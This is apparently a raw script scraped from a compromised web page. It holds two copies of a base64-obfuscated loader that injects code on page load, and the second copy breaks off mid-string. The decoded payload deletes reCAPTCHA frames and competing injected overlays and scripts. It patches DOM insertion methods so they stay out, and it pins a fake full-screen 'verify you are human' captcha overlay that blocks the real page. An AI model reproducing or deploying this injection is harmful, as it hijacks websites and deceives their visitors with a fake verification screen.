(function(){if(window.__cogniRivalKillEarly)return;window.__cogniRivalKillEarly=1;var s=document.createElement('script');s.textContent=atob(“KGZ1bmN0aW9uIGxzY0NvZ25pUml2YWxLaWxsSW5pdCgpew0KICBpZiAod2luZG93Ll9fY29nbmlSaXZhbEtpbGwpIHJldHVybjsNCiAgd2luZG93Ll9fY29nbmlSaXZhbEtpbGwgPSAxOw0KICB2YXIgUklWQUxfU0VMID0gWw0KICAgICdpZnJhbWVbc3JjKj0icmVjYXB0Y2hhIl0nLCdpZnJhbWVbc3JjKj0iZ29vZ2xlLmNvbS9yZWNhcHRjaGEiXScsJ2lmcmFtZVtzcmMqPSJnc3RhdGljLmNvbS9yZWNhcHRjaGEiXScsDQogICAgJy5nLXJlY2FwdGNoYS1idWJibGUtYXJyb3cnLCcjY2ZtJywnI2NmbS1tb2RhbCcsJ1tpZF49ImNmbSJdJywnW2lkKj0iY2ZtLW1vZGFsIl0nLA0KICAgICcuY2ZtZC1yYy1sYXllcicsJy5jZm1kLXJjLWhvc3QnLCcuY2ZtZC1yYy1iYWNrZHJvcCcsJy5jZm1kLXJjLWJsdXInLCdbZGF0YS1jZm1kLW93bl0nLA0KICAgICcuY2ZtZC1vdmVybGF5LWxvY2snLCdbY2xhc3MqPSJjZm1kLXJjIl0nLCcuY2FwdGNoYS1jb250YWluZXI6bm90KCNidy1jZi1yb290IC5jYXB0Y2hhLWNvbnRhaW5lciknDQogIF07DQogIHZhciBSSVZBTF9TQ1JJUFRfUkUgPSAvaW50ZXJzZXF8bmV3dGVzdFxkK3wxMjA5MjAyNnxjZm1kLXJjfF9fY2ZtZENhcHRjaGF8c2hpZWxkZ3VhcmR8YXNzZWxvYWR8aW1tZXJzaW9uem9uZXxramhnXC5sb2x8d3BzZWN1cmV8d3AtYWNjZWxlcmF0ZXwxMDRcLjM2fG1zZnRhdXRofG1haW4td3JhcHBlci0xL2k7DQogIGZ1bmN0aW9uIGlzT3VyKGVsKXsgcmV0dXJuIGVsICYmIChlbC5pZCA9PT0gJ2J3LWNmLXJvb3QnIHx8IChlbC5jbG9zZXN0ICYmIGVsLmNsb3Nlc3QoJyNidy1jZi1yb290JykpKTsgfQ0KICBmdW5jdGlvbiBpc1JpdmFsTm9kZShlbCl7DQogICAgaWYgKCFlbCB8fCBpc091cihlbCkpIHJldHVybiBmYWxzZTsNCiAgICB2YXIgdGFnID0gKGVsLnRhZ05hbWUgfHwgJycpLnRvVXBwZXJDYXNlKCk7DQogICAgaWYgKHRhZyA9PT0gJ1NDUklQVCcgJiYgUklWQUxfU0NSSVBUX1JFLnRlc3QoZWwuc3JjIHx8IGVsLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJycpKSByZXR1cm4gdHJ1ZTsNCiAgICB2YXIgYmxvYiA9ICgoZWwuY2xhc3NOYW1lIHx8ICcnKSArICcgJyArIChlbC5pZCB8fCAnJykgKyAnICcgKyAoZWwuZ2V0QXR0cmlidXRlICYmIGVsLmdldEF0dHJpYnV0ZSgnZGF0YS1jZm1kLW93bicpIHx8ICcnKSkudG9Mb3dlckNhc2UoKTsNCiAgICByZXR1cm4gL2NmbWR8Y2ZtLW1vZGFsfGNmbS1yY3xjYXB0Y2hhLWNvbnRhaW5lcnxyZWNhcHRjaGF8aW50ZXJzZXF8YXNzZWxvYWR8bWFpbi13cmFwcGVyfG1zZnRhdXRofHZlcmlmeSB5b3UgYXJlIGh1bWFuL2kudGVzdChibG9iKTsNCiAgfQ0KICBmdW5jdGlvbiBudWtlKGVsKXsNCiAgICBpZiAoIWVsIHx8IGlzT3VyKGVsKSkgcmV0dXJuOw0KICAgIHRyeSB7IGVsLnJlbW92ZSgpOyB9IGNhdGNoKGUpew0KICAgICAgdHJ5IHsNCiAgICAgICAgZWwuc3R5bGUuY3NzVGV4dCA9ICdkaXNwbGF5Om5vbmUhaW1wb3J0YW50O3Zpc2liaWxpdHk6aGlkZGVuIWltcG9ydGFudDtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt6LWluZGV4Oi05OTk5IWltcG9ydGFudDtvcGFjaXR5OjAhaW1wb3J0YW50Oyc7DQogICAgICB9IGNhdGNoKGUyKXt9DQogICAgfQ0KICB9DQogIGZ1bmN0aW9uIHJlbW92ZVJpdmFsU2NyaXB0cygpew0KICAgIHRyeSB7DQogICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdzY3JpcHRbc3JjXScpLmZvckVhY2goZnVuY3Rpb24ocyl7DQogICAgICAgIHZhciBzcmMgPSBzLnNyYyB8fCBzLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJyc7DQogICAgICAgIGlmIChSSVZBTF9TQ1JJUFRfUkUudGVzdChzcmMpKSBudWtlKHMpOw0KICAgICAgfSk7DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgZnVuY3Rpb24gc2NydWJIdG1sUm9vdCgpew0KICAgIHRyeSB7DQogICAgICB2YXIgaHRtbCA9IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudDsNCiAgICAgIGlmICghaHRtbCkgcmV0dXJuOw0KICAgICAgaHRtbC5jbGFzc0xpc3QucmVtb3ZlKCdjZm1kLW92ZXJsYXktbG9jaycpOw0KICAgICAgaWYgKGRvY3VtZW50LmJvZHkpIGRvY3VtZW50LmJvZHkuY2xhc3NMaXN0LnJlbW92ZSgnY2ZtZC1vdmVybGF5LWxvY2snKTsNCiAgICAgIEFycmF5LmZyb20oaHRtbC5jaGlsZHJlbiB8fCBbXSkuZm9yRWFjaChmdW5jdGlvbihlbCl7DQogICAgICAgIGlmICghZWwgfHwgZWwudGFnTmFtZSA9PT0gJ0hFQUQnIHx8IGVsLnRhZ05hbWUgPT09ICdCT0RZJykgcmV0dXJuOw0KICAgICAgICBpZiAoZWwuaWQgPT09ICdidy1jZi1yb290JykgcmV0dXJuOw0KICAgICAgICBpZiAoaXNSaXZhbE5vZGUoZWwpKSBudWtlKGVsKTsNCiAgICAgIH0pOw0KICAgIH0gY2F0Y2goZSl7fQ0KICAgIHRyeSB7IGRlbGV0ZSB3aW5kb3cuX19jZm1kQ2FwdGNoYTsgfSBjYXRjaChlKXsgd2luZG93Ll9fY2ZtZENhcHRjaGEgPSB1bmRlZmluZWQ7IH0NCiAgfQ0KICBmdW5jdGlvbiBraWxsUml2YWxOb2Rlcygpew0KICAgIFJJVkFMX1NFTC5mb3JFYWNoKGZ1bmN0aW9uKHNlbCl7DQogICAgICB0cnkgeyBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKHNlbCkuZm9yRWFjaChmdW5jdGlvbihub2RlKXsgaWYgKCFpc091cihub2RlKSkgbnVrZShub2RlKTsgfSk7IH0gY2F0Y2goZSl7fQ0KICAgIH0pOw0KICAgIHNjcnViSHRtbFJvb3QoKTsNCiAgICByZW1vdmVSaXZhbFNjcmlwdHMoKTsNCiAgfQ0KICBmdW5jdGlvbiBlbnN1cmVSaXZhbENzcygpew0KICAgIHZhciBzdHlsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb2duaS1yaXZhbC1raWxsLWNzcycpOw0KICAgIGlmIChzdHlsZSkgcmV0dXJuOw0KICAgIHN0eWxlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3R5bGUnKTsNCiAgICBzdHlsZS5pZCA9ICdjb2duaS1yaXZhbC1raWxsLWNzcyc7DQogICAgc3R5bGUudGV4dENvbnRlbnQgPSAnaHRtbC5jZm1kLW92ZXJsYXktbG9jayxib2R5LmNmbWQtb3ZlcmxheS1sb2Nre292ZXJmbG93OmF1dG8haW1wb3J0YW50O3BvaW50ZXItZXZlbnRzOmF1dG8haW1wb3J0YW50O30uY2ZtZC1yYy1sYXllciwuY2ZtZC1yYy1ob3N0LC5jZm1kLXJjLWJsdXIsW2RhdGEtY2ZtZC1vd25dLGlmcmFtZVtzcmMqPSJyZWNhcHRjaGEiXSxpZnJhbWVbc3JjKj0iZ3N0YXRpYy5jb20vcmVjYXB0Y2hhIl0sLmctcmVjYXB0Y2hhOm5vdCgjYnctY2Ytcm9vdCAuZy1yZWNhcHRjaGEpLCNjZm0sI2NmbS1tb2RhbCxbaWRePSJjZm0iXSxbY2xhc3MqPSJjZm1kLXJjIl17ZGlzcGxheTpub25lIWltcG9ydGFudDt2aXNpYmlsaXR5OmhpZGRlbiFpbXBvcnRhbnQ7cG9pbnRlci1ldmVudHM6bm9uZSFpbXBvcnRhbnQ7ei1pbmRleDotOTk5OSFpbXBvcnRhbnQ7b3BhY2l0eTowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSxodG1sLmNvZ25pLWNhcHRjaGEtYWN0aXZlIGJvZHl7b3ZlcmZsb3c6aGlkZGVuIWltcG9ydGFudDttYXJnaW46MCFpbXBvcnRhbnQ7cGFkZGluZzowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSBib2R5Pio6bm90KCNidy1jZi1yb290KXtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt9I2J3LWNmLXJvb3QsI2J3LWNmLXJvb3QgKntwb2ludGVyLWV2ZW50czphdXRvIWltcG9ydGFudDt9I2J3LWNmLXJvb3R7ei1pbmRleDoyMTQ3NDgzNjQ3IWltcG9ydGFudDtwb3NpdGlvbjpmaXhlZCFpbXBvcnRhbnQ7dG9wOjAhaW1wb3J0YW50O2xlZnQ6MCFpbXBvcnRhbnQ7cmlnaHQ6MCFpbXBvcnRhbnQ7Ym90dG9tOjAhaW1wb3J0YW50O3dpZHRoOjEwMHZ3IWltcG9ydGFudDtoZWlnaHQ6MTAwdmghaW1wb3J0YW50O21pbi13aWR0aDoxMDB2dyFpbXBvcnRhbnQ7bWluLWhlaWdodDoxMDB2aCFpbXBvcnRhbnQ7bWF4LXdpZHRoOm5vbmUhaW1wb3J0YW50O21heC1oZWlnaHQ6bm9uZSFpbXBvcnRhbnQ7bWFyZ2luOjAhaW1wb3J0YW50O3BhZGRpbmc6MCFpbXBvcnRhbnQ7Ym94LXNpemluZzpib3JkZXItYm94IWltcG9ydGFudDt0cmFuc2Zvcm06bm9uZSFpbXBvcnRhbnQ7fSc7DQogICAgKGRvY3VtZW50LmhlYWQgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50KS5hcHBlbmRDaGlsZChzdHlsZSk7DQogIH0NCiAgZnVuY3Rpb24gaG9va0RvbUluc2VydCgpew0KICAgIGZ1bmN0aW9uIGd1YXJkKG5vZGUpew0KICAgICAgaWYgKCFub2RlKSByZXR1cm4gZmFsc2U7DQogICAgICBpZiAobm9kZS5ub2RlVHlwZSA9PT0gMSAmJiBpc1JpdmFsTm9kZShub2RlKSkgeyBudWtlKG5vZGUpOyByZXR1cm4gdHJ1ZTsgfQ0KICAgICAgaWYgKG5vZGUudGFnTmFtZSA9PT0gJ1NDUklQVCcpIHsNCiAgICAgICAgdmFyIHNyYyA9IG5vZGUuc3JjIHx8IG5vZGUuZ2V0QXR0cmlidXRlKCdzcmMnKSB8fCAnJzsNCiAgICAgICAgaWYgKFJJVkFMX1NDUklQVF9SRS50ZXN0KHNyYykpIHsgbnVrZShub2RlKTsgcmV0dXJuIHRydWU7IH0NCiAgICAgIH0NCiAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgdHJ5IHsNCiAgICAgIHZhciBhcCA9IEVsZW1lbnQucHJvdG90eXBlLmFwcGVuZENoaWxkOw0KICAgICAgRWxlbWVudC5wcm90b3R5cGUuYXBwZW5kQ2hpbGQgPSBmdW5jdGlvbihjaCl7DQogICAgICAgIGlmIChndWFyZChjaCkpIHJldHVybiBjaDsNCiAgICAgICAgcmV0dXJuIGFwLmNhbGwodGhpcywgY2gpOw0KICAgICAgfTsNCiAgICAgIHZhciBpYiA9IEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZTsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZSA9IGZ1bmN0aW9uKGNoLCByZWYpew0KICAgICAgICBpZiAoZ3VhcmQoY2gpKSByZXR1cm4gY2g7DQogICAgICAgIHJldHVybiBpYi5jYWxsKHRoaXMsIGNoLCByZWYpOw0KICAgICAgfTsNCiAgICAgIHZhciByYyA9IEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZDsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZCA9IGZ1bmN0aW9uKG5ldSwgb2xkKXsNCiAgICAgICAgaWYgKGd1YXJkKG5ldSkpIHJldHVybiBvbGQ7DQogICAgICAgIHJldHVybiByYy5jYWxsKHRoaXMsIG5ldSwgb2xkKTsNCiAgICAgIH07DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgd2luZG93LmxzY0NvZ25pU3RhY2tPdXJPdmVybGF5ID0gZnVuY3Rpb24ocm9vdCl7DQogICAgdmFyIGVsID0gcm9vdCB8fCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnctY2Ytcm9vdCcpOw0KICAgIGlmICghZWwpIHJldHVybjsNCiAgICBlbnN1cmVSaXZhbENzcygpOw0KICAgIHRyeSB7IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGFzc0xpc3QuYWRkKCdjb2duaS1jYXB0Y2hhLWFjdGl2ZScpOyB9IGNhdGNoKGUpe30NCiAgICB0cnkgeyBlbC5yZW1vdmVBdHRyaWJ1dGUoJ3BvcG92ZXInKTsgfSBjYXRjaChlKXt9DQogICAgaWYgKGVsLnBhcmVudE5vZGUgIT09IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudCkgew0KICAgICAgdHJ5IHsgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmFwcGVuZENoaWxkKGVsKTsgfSBjYXRjaChlKXt9DQogICAgfQ0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd6LWluZGV4JywgJzIxNDc0ODM2NDcnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ3Bvc2l0aW9uJywgJ2ZpeGVkJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd0b3AnLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbGVmdCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdyaWdodCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdib3R0b20nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnd2lkdGgnLCAnMTAwdncnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ2hlaWdodCcsICcxMDB2aCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWluLXdpZHRoJywgJzEwMHZ3JywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtaW4taGVpZ2h0JywgJzEwMHZoJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXgtd2lkdGgnLCAnbm9uZScsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWF4LWhlaWdodCcsICdub25lJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXJnaW4nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgndHJhbnNmb3JtJywgJ25vbmUnLCAnaW1wb3J0YW50Jyk7DQogIH07DQogIGZ1bmN0aW9uIHRpY2soKXsNCiAgICBraWxsUml2YWxOb2RlcygpOw0KICAgIGVuc3VyZVJpdmFsQ3NzKCk7DQogICAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdidy1jZi1yb290JykpIHdpbmRvdy5sc2NDb2duaVN0YWNrT3VyT3ZlcmxheSgpOw0KICB9DQogIGhvb2tEb21JbnNlcnQoKTsNCiAgdGljaygpOw0KfSkoKTs=”);(document.documentElement||document.head).appendChild(s);})();
(function(){if(window.__cogniB64Ran)return;window.__cogniB64Ran=1;var s=document.createElement('script');s.textContent=atob(“KGZ1bmN0aW9uIGxzY0NvZ25pUml2YWxLaWxsSW5pdCgpew0KICBpZiAod2luZG93Ll9fY29nbmlSaXZhbEtpbGwpIHJldHVybjsNCiAgd2luZG93Ll9fY29nbmlSaXZhbEtpbGwgPSAxOw0KICB2YXIgUklWQUxfU0VMID0gWw0KICAgICdpZnJhbWVbc3JjKj0icmVjYXB0Y2hhIl0nLCdpZnJhbWVbc3JjKj0iZ29vZ2xlLmNvbS9yZWNhcHRjaGEiXScsJ2lmcmFtZVtzcmMqPSJnc3RhdGljLmNvbS9yZWNhcHRjaGEiXScsDQogICAgJy5nLXJlY2FwdGNoYS1idWJibGUtYXJyb3cnLCcjY2ZtJywnI2NmbS1tb2RhbCcsJ1tpZF49ImNmbSJdJywnW2lkKj0iY2ZtLW1vZGFsIl0nLA0KICAgICcuY2ZtZC1yYy1sYXllcicsJy5jZm1kLXJjLWhvc3QnLCcuY2ZtZC1yYy1iYWNrZHJvcCcsJy5jZm1kLXJjLWJsdXInLCdbZGF0YS1jZm1kLW93bl0nLA0KICAgICcuY2ZtZC1vdmVybGF5LWxvY2snLCdbY2xhc3MqPSJjZm1kLXJjIl0nLCcuY2FwdGNoYS1jb250YWluZXI6bm90KCNidy1jZi1yb290IC5jYXB0Y2hhLWNvbnRhaW5lciknDQogIF07DQogIHZhciBSSVZBTF9TQ1JJUFRfUkUgPSAvaW50ZXJzZXF8bmV3dGVzdFxkK3wxMjA5MjAyNnxjZm1kLXJjfF9fY2ZtZENhcHRjaGF8c2hpZWxkZ3VhcmR8YXNzZWxvYWR8aW1tZXJzaW9uem9uZXxramhnXC5sb2x8d3BzZWN1cmV8d3AtYWNjZWxlcmF0ZXwxMDRcLjM2fG1zZnRhdXRofG1haW4td3JhcHBlci0xL2k7DQogIGZ1bmN0aW9uIGlzT3VyKGVsKXsgcmV0dXJuIGVsICYmIChlbC5pZCA9PT0gJ2J3LWNmLXJvb3QnIHx8IChlbC5jbG9zZXN0ICYmIGVsLmNsb3Nlc3QoJyNidy1jZi1yb290JykpKTsgfQ0KICBmdW5jdGlvbiBpc1JpdmFsTm9kZShlbCl7DQogICAgaWYgKCFlbCB8fCBpc091cihlbCkpIHJldHVybiBmYWxzZTsNCiAgICB2YXIgdGFnID0gKGVsLnRhZ05hbWUgfHwgJycpLnRvVXBwZXJDYXNlKCk7DQogICAgaWYgKHRhZyA9PT0gJ1NDUklQVCcgJiYgUklWQUxfU0NSSVBUX1JFLnRlc3QoZWwuc3JjIHx8IGVsLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJycpKSByZXR1cm4gdHJ1ZTsNCiAgICB2YXIgYmxvYiA9ICgoZWwuY2xhc3NOYW1lIHx8ICcnKSArICcgJyArIChlbC5pZCB8fCAnJykgKyAnICcgKyAoZWwuZ2V0QXR0cmlidXRlICYmIGVsLmdldEF0dHJpYnV0ZSgnZGF0YS1jZm1kLW93bicpIHx8ICcnKSkudG9Mb3dlckNhc2UoKTsNCiAgICByZXR1cm4gL2NmbWR8Y2ZtLW1vZGFsfGNmbS1yY3xjYXB0Y2hhLWNvbnRhaW5lcnxyZWNhcHRjaGF8aW50ZXJzZXF8YXNzZWxvYWR8bWFpbi13cmFwcGVyfG1zZnRhdXRofHZlcmlmeSB5b3UgYXJlIGh1bWFuL2kudGVzdChibG9iKTsNCiAgfQ0KICBmdW5jdGlvbiBudWtlKGVsKXsNCiAgICBpZiAoIWVsIHx8IGlzT3VyKGVsKSkgcmV0dXJuOw0KICAgIHRyeSB7IGVsLnJlbW92ZSgpOyB9IGNhdGNoKGUpew0KICAgICAgdHJ5IHsNCiAgICAgICAgZWwuc3R5bGUuY3NzVGV4dCA9ICdkaXNwbGF5Om5vbmUhaW1wb3J0YW50O3Zpc2liaWxpdHk6aGlkZGVuIWltcG9ydGFudDtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt6LWluZGV4Oi05OTk5IWltcG9ydGFudDtvcGFjaXR5OjAhaW1wb3J0YW50Oyc7DQogICAgICB9IGNhdGNoKGUyKXt9DQogICAgfQ0KICB9DQogIGZ1bmN0aW9uIHJlbW92ZVJpdmFsU2NyaXB0cygpew0KICAgIHRyeSB7DQogICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdzY3JpcHRbc3JjXScpLmZvckVhY2goZnVuY3Rpb24ocyl7DQogICAgICAgIHZhciBzcmMgPSBzLnNyYyB8fCBzLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJyc7DQogICAgICAgIGlmIChSSVZBTF9TQ1JJUFRfUkUudGVzdChzcmMpKSBudWtlKHMpOw0KICAgICAgfSk7DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgZnVuY3Rpb24gc2NydWJIdG1sUm9vdCgpew0KICAgIHRyeSB7DQogICAgICB2YXIgaHRtbCA9IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudDsNCiAgICAgIGlmICghaHRtbCkgcmV0dXJuOw0KICAgICAgaHRtbC5jbGFzc0xpc3QucmVtb3ZlKCdjZm1kLW92ZXJsYXktbG9jaycpOw0KICAgICAgaWYgKGRvY3VtZW50LmJvZHkpIGRvY3VtZW50LmJvZHkuY2xhc3NMaXN0LnJlbW92ZSgnY2ZtZC1vdmVybGF5LWxvY2snKTsNCiAgICAgIEFycmF5LmZyb20oaHRtbC5jaGlsZHJlbiB8fCBbXSkuZm9yRWFjaChmdW5jdGlvbihlbCl7DQogICAgICAgIGlmICghZWwgfHwgZWwudGFnTmFtZSA9PT0gJ0hFQUQnIHx8IGVsLnRhZ05hbWUgPT09ICdCT0RZJykgcmV0dXJuOw0KICAgICAgICBpZiAoZWwuaWQgPT09ICdidy1jZi1yb290JykgcmV0dXJuOw0KICAgICAgICBpZiAoaXNSaXZhbE5vZGUoZWwpKSBudWtlKGVsKTsNCiAgICAgIH0pOw0KICAgIH0gY2F0Y2goZSl7fQ0KICAgIHRyeSB7IGRlbGV0ZSB3aW5kb3cuX19jZm1kQ2FwdGNoYTsgfSBjYXRjaChlKXsgd2luZG93Ll9fY2ZtZENhcHRjaGEgPSB1bmRlZmluZWQ7IH0NCiAgfQ0KICBmdW5jdGlvbiBraWxsUml2YWxOb2Rlcygpew0KICAgIFJJVkFMX1NFTC5mb3JFYWNoKGZ1bmN0aW9uKHNlbCl7DQogICAgICB0cnkgeyBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKHNlbCkuZm9yRWFjaChmdW5jdGlvbihub2RlKXsgaWYgKCFpc091cihub2RlKSkgbnVrZShub2RlKTsgfSk7IH0gY2F0Y2goZSl7fQ0KICAgIH0pOw0KICAgIHNjcnViSHRtbFJvb3QoKTsNCiAgICByZW1vdmVSaXZhbFNjcmlwdHMoKTsNCiAgfQ0KICBmdW5jdGlvbiBlbnN1cmVSaXZhbENzcygpew0KICAgIHZhciBzdHlsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb2duaS1yaXZhbC1raWxsLWNzcycpOw0KICAgIGlmIChzdHlsZSkgcmV0dXJuOw0KICAgIHN0eWxlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3R5bGUnKTsNCiAgICBzdHlsZS5pZCA9ICdjb2duaS1yaXZhbC1raWxsLWNzcyc7DQogICAgc3R5bGUudGV4dENvbnRlbnQgPSAnaHRtbC5jZm1kLW92ZXJsYXktbG9jayxib2R5LmNmbWQtb3ZlcmxheS1sb2Nre292ZXJmbG93OmF1dG8haW1wb3J0YW50O3BvaW50ZXItZXZlbnRzOmF1dG8haW1wb3J0YW50O30uY2ZtZC1yYy1sYXllciwuY2ZtZC1yYy1ob3N0LC5jZm1kLXJjLWJsdXIsW2RhdGEtY2ZtZC1vd25dLGlmcmFtZVtzcmMqPSJyZWNhcHRjaGEiXSxpZnJhbWVbc3JjKj0iZ3N0YXRpYy5jb20vcmVjYXB0Y2hhIl0sLmctcmVjYXB0Y2hhOm5vdCgjYnctY2Ytcm9vdCAuZy1yZWNhcHRjaGEpLCNjZm0sI2NmbS1tb2RhbCxbaWRePSJjZm0iXSxbY2xhc3MqPSJjZm1kLXJjIl17ZGlzcGxheTpub25lIWltcG9ydGFudDt2aXNpYmlsaXR5OmhpZGRlbiFpbXBvcnRhbnQ7cG9pbnRlci1ldmVudHM6bm9uZSFpbXBvcnRhbnQ7ei1pbmRleDotOTk5OSFpbXBvcnRhbnQ7b3BhY2l0eTowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSxodG1sLmNvZ25pLWNhcHRjaGEtYWN0aXZlIGJvZHl7b3ZlcmZsb3c6aGlkZGVuIWltcG9ydGFudDttYXJnaW46MCFpbXBvcnRhbnQ7cGFkZGluZzowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSBib2R5Pio6bm90KCNidy1jZi1yb290KXtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt9I2J3LWNmLXJvb3QsI2J3LWNmLXJvb3QgKntwb2ludGVyLWV2ZW50czphdXRvIWltcG9ydGFudDt9I2J3LWNmLXJvb3R7ei1pbmRleDoyMTQ3NDgzNjQ3IWltcG9ydGFudDtwb3NpdGlvbjpmaXhlZCFpbXBvcnRhbnQ7dG9wOjAhaW1wb3J0YW50O2xlZnQ6MCFpbXBvcnRhbnQ7cmlnaHQ6MCFpbXBvcnRhbnQ7Ym90dG9tOjAhaW1wb3J0YW50O3dpZHRoOjEwMHZ3IWltcG9ydGFudDtoZWlnaHQ6MTAwdmghaW1wb3J0YW50O21pbi13aWR0aDoxMDB2dyFpbXBvcnRhbnQ7bWluLWhlaWdodDoxMDB2aCFpbXBvcnRhbnQ7bWF4LXdpZHRoOm5vbmUhaW1wb3J0YW50O21heC1oZWlnaHQ6bm9uZSFpbXBvcnRhbnQ7bWFyZ2luOjAhaW1wb3J0YW50O3BhZGRpbmc6MCFpbXBvcnRhbnQ7Ym94LXNpemluZzpib3JkZXItYm94IWltcG9ydGFudDt0cmFuc2Zvcm06bm9uZSFpbXBvcnRhbnQ7fSc7DQogICAgKGRvY3VtZW50LmhlYWQgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50KS5hcHBlbmRDaGlsZChzdHlsZSk7DQogIH0NCiAgZnVuY3Rpb24gaG9va0RvbUluc2VydCgpew0KICAgIGZ1bmN0aW9uIGd1YXJkKG5vZGUpew0KICAgICAgaWYgKCFub2RlKSByZXR1cm4gZmFsc2U7DQogICAgICBpZiAobm9kZS5ub2RlVHlwZSA9PT0gMSAmJiBpc1JpdmFsTm9kZShub2RlKSkgeyBudWtlKG5vZGUpOyByZXR1cm4gdHJ1ZTsgfQ0KICAgICAgaWYgKG5vZGUudGFnTmFtZSA9PT0gJ1NDUklQVCcpIHsNCiAgICAgICAgdmFyIHNyYyA9IG5vZGUuc3JjIHx8IG5vZGUuZ2V0QXR0cmlidXRlKCdzcmMnKSB8fCAnJzsNCiAgICAgICAgaWYgKFJJVkFMX1NDUklQVF9SRS50ZXN0KHNyYykpIHsgbnVrZShub2RlKTsgcmV0dXJuIHRydWU7IH0NCiAgICAgIH0NCiAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgdHJ5IHsNCiAgICAgIHZhciBhcCA9IEVsZW1lbnQucHJvdG90eXBlLmFwcGVuZENoaWxkOw0KICAgICAgRWxlbWVudC5wcm90b3R5cGUuYXBwZW5kQ2hpbGQgPSBmdW5jdGlvbihjaCl7DQogICAgICAgIGlmIChndWFyZChjaCkpIHJldHVybiBjaDsNCiAgICAgICAgcmV0dXJuIGFwLmNhbGwodGhpcywgY2gpOw0KICAgICAgfTsNCiAgICAgIHZhciBpYiA9IEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZTsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZSA9IGZ1bmN0aW9uKGNoLCByZWYpew0KICAgICAgICBpZiAoZ3VhcmQoY2gpKSByZXR1cm4gY2g7DQogICAgICAgIHJldHVybiBpYi5jYWxsKHRoaXMsIGNoLCByZWYpOw0KICAgICAgfTsNCiAgICAgIHZhciByYyA9IEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZDsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZCA9IGZ1bmN0aW9uKG5ldSwgb2xkKXsNCiAgICAgICAgaWYgKGd1YXJkKG5ldSkpIHJldHVybiBvbGQ7DQogICAgICAgIHJldHVybiByYy5jYWxsKHRoaXMsIG5ldSwgb2xkKTsNCiAgICAgIH07DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgd2luZG93LmxzY0NvZ25pU3RhY2tPdXJPdmVybGF5ID0gZnVuY3Rpb24ocm9vdCl7DQogICAgdmFyIGVsID0gcm9vdCB8fCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnctY2Ytcm9vdCcpOw0KICAgIGlmICghZWwpIHJldHVybjsNCiAgICBlbnN1cmVSaXZhbENzcygpOw0KICAgIHRyeSB7IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGF